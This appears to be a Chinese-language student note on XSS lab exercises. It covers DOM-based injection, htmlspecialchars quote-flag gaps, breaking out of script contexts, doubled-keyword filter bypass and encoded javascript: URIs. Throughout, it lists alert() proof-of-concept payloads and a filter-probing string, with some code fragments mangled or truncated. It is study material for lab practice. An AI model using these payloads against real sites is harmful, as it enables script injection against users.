dom-xss注入
使用浏览器翻译html的方法dom,构造dom进行注入(dom就是浏览器将html静态文本翻译成可编辑树的方法)
<a href="" onclick="alert('xss')">
<img src="#" onclick=alert(1)>
' onclick=alert('xss')>
'><img src="#" onmouseover="alert('xss')">
onclick
也可以是onmouseover
注意: 需要闭合对应的单引号或者是<>
htmlspecialchars()方法
htmlspecialchars()
是php中为了防止xss注入之类的恶意手法,通过对传输到前端的一些特定字符进行替换,达成告知浏览器那就是文本而不是标签的目的,替换',",&,<,>
htmlspecialchars(string,flags,character-set,double_encode)
flags参数可用的引号类型
ENT_COMPAT :默认仅编码双引号。
ENT_QUOTES:编码双引号和单引号。
ENT_NOQUOTES:不编码任何引号。
可以使用javascript:alert(1)
这样的方法来进行注入
' onclick='alert("xss")
也可以尝试进行注入,本题中可能是因为设置了特定字符知转义<,>,"
,可以通过f12进行查看
需要注意的是: 目前并不清楚在上面情况下onclick=
后面接的alert(1)
需要添加''
<p class='notice'>你的输入已经被记录:</p><a href='' onclick='alert("xss")'>' onclick='alert("xss")</a>
目前似乎发现添加
''
可以成功触发xss
的条件需要在<a>
标签中,在<script></script>
似乎并不允许
xss之js输出
输入的信息直接插入js中,让前面的'
闭合,按照js格式插入alert(1)
,再仿照前面的格式建立一个新的闭合
payload
1 | ';alert(1);$ms='12 |
题目是这样的
1 | <script> |
wp给出闭合script的思路可能也是可行的
1 | '</script><script>alert(1);$aa=' |
无视后面的东西直接闭合跑路似乎也是可行的,但是后面的东西无法闭合就会出现在屏幕上
1 | </script><script>alert('xss')</script> |
双拼写绕过
后端处理后对关键词直接进行了删除,可以使用重复的方法写两次来绕过
1 | <script>alert(1)</script> -> <>alert(1)</script> 写成"> <scscriptript>alert(1)</scscriptript> |
href标签能自动解unicode
1 | javascript:alert() |
1 | javascript:alert() |
试探过滤了什么东西
1 | " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j |
html实体编码
1 | javascript:alert() |